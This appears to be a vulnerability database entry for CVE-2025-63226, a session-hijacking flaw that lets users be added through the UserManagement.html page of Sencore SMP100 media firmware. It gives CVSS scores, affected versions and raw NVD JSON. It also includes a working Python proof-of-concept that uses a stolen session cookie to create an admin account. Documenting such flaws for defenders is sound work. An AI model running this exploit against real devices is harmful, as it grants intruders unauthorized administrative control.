Security Vulnerability Report
中文
CVE-2025-63226 CVSS 5.7 MEDIUM

CVE-2025-63226

Published: 2025-11-18 20:15:48
Last Modified: 2026-02-13 16:13:56

Description

The Sencore SMP100 SMP Media Platform (firmware versions V4.2.160, V60.1.4, V60.1.29) is vulnerable to session hijacking due to improper session management on the /UserManagement.html endpoint. Attackers who are on the same network as the victim and have access to the target's logged-in session can access the endpoint and add new users without any authentication. This allows attackers to gain unauthorized access to the system and perform malicious activities.

CVSS Details

CVSS Score
5.7
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:o:sencore:decoder-ccv2_firmware:60.1.4:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:sencore:decoder-ccv2:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:sencore:smp100_firmware:4.2.160:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:sencore:smp100:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:sencore:en2sdi-2hd_firmware:60.1.29:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:sencore:en2sdi-2hd:-:*:*:*:*:*:*:* - NOT VULNERABLE
Sencore SMP100 SMP Media Platform V4.2.160
Sencore SMP100 SMP Media Platform V60.1.4
Sencore SMP100 SMP Media Platform V60.1.29

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-63226 PoC - Sencore SMP100 Session Hijacking # Target: Sencore SMP100 SMP Media Platform # Vulnerability: Improper session management on /UserManagement.html def exploit_session_hijacking(target_ip, session_id, new_username, new_password): """ Exploit for CVE-2025-63226 Args: target_ip: Target device IP address session_id: Hijacked session ID from victim's active session new_username: New admin username to create new_password: Password for new admin user """ base_url = f"http://{target_ip}" # Create new user via UserManagement.html endpoint # Using hijacked session ID for authentication bypass headers = { 'Cookie': f'SESSIONID={session_id}', 'Content-Type': 'application/x-www-form-urlencoded' } # Payload to add new admin user data = { 'action': 'add_user', 'username': new_username, 'password': new_password, 'privilege': 'admin' } try: # Send request to UserManagement.html endpoint response = requests.post( f"{base_url}/UserManagement.html", headers=headers, data=data, timeout=10 ) if response.status_code == 200: print(f"[+] Successfully created new user: {new_username}") print(f"[+] User now has admin access to the system") return True else: print(f"[-] Failed to create user. Status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return False def main(): if len(sys.argv) < 5: print("Usage: python cve-2025-63226_poc.py <target_ip> <session_id> <new_username> <new_password>") print("Example: python cve-2025-63226_poc.py 192.168.1.100 ABC123SESSION newadmin password123") sys.exit(1) target_ip = sys.argv[1] session_id = sys.argv[2] new_username = sys.argv[3] new_password = sys.argv[4] print(f"[*] CVE-2025-63226 - Sencore SMP100 Session Hijacking") print(f"[*] Target: {target_ip}") print(f"[*] Creating new admin user: {new_username}") exploit_session_hijacking(target_ip, session_id, new_username, new_password) if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-63226", "sourceIdentifier": "[email protected]", "published": "2025-11-18T20:15:47.583", "lastModified": "2026-02-13T16:13:55.730", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Sencore SMP100 SMP Media Platform (firmware versions V4.2.160, V60.1.4, V60.1.29) is vulnerable to session hijacking due to improper session management on the /UserManagement.html endpoint. Attackers who are on the same network as the victim and have access to the target's logged-in session can access the endpoint and add new users without any authentication. This allows attackers to gain unauthorized access to the system and perform malicious activities."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N", "baseScore": 5.7, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-613"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:sencore:decoder-ccv2_firmware:60.1.4:*:*:*:*:*:*:*", "matchCriteriaId": "7445C4B9-D9F3-48A1-A806-079B3857822C"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:sencore:decoder-ccv2:-:*:*:*:*:*:*:*", "matchCriteriaId": "63B1BE2C-C908-4C5E-89C3-594B8833988A"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:sencore:smp100_firmware:4.2.160:*:*:*:*:*:*:*", "matchCriteriaId": "51A0331B-8E5D-4CEB-95B0-CBBCD4650D58"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:sencore:smp100:-:*:*:*:*:*:*:*", "matchCriteriaId": "27BF2E6E-9BCD-43D7-8B5D-182DFA1D42C8"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:sencore:en2sdi-2hd_firmware:60.1.29:*:*:*:*:*:*:*", "matchCriteriaId": "8884DB25-128F-4C5B-A5E5-27CA448B7D1C"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:sencore:en2sdi-2hd:-:*:*:*:*:*:*:*", "matchCriteriaId": "EBFCA782-DE2F-4158-AC07-458EF16579E2"}]}]}], "references": [{"url": "https://github.com/shiky8/my--cve-vulnerability-research/tree/main/CVE-2025-63226_Sencore_SMP100_Session_Hijacking", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.sencore.com/", "source": "[email protected]", "tags": ["Product"]}]}}